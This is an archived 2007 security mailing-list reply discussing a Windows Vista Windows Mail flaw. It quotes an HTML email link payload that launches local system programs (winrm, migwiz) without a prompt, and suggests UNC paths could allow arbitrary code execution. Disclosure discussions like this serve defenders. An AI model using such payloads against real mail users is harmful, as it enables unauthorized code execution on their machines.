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Re: Microsoft Windows Vista - Windows Mail Client Side Code Execution Vulnerability


From: Joxean Koret <joxeankoret () yahoo es>
Date: Fri, 23 Mar 2007 11:15:57 +0100 (CET)

Hi,

Did you test it using UNC paths? It may be a way to
truly execute arbitrary code.

Regards,
Joxean Koret

Exploit:
Send a HTML email message containing the URL:
<a href="c:/windows/system32/winrm?">Click here!</a>
or
<a href="c:/windows/system32/migwiz?">Click here!</a>
and winrm.cmd/migwiz.exe gets executed without asking

for permission.
These are just examples.

I could not pass arguments to winrm (hehe this would 
be beautiful), but I guess there
are several attack vectors.


                
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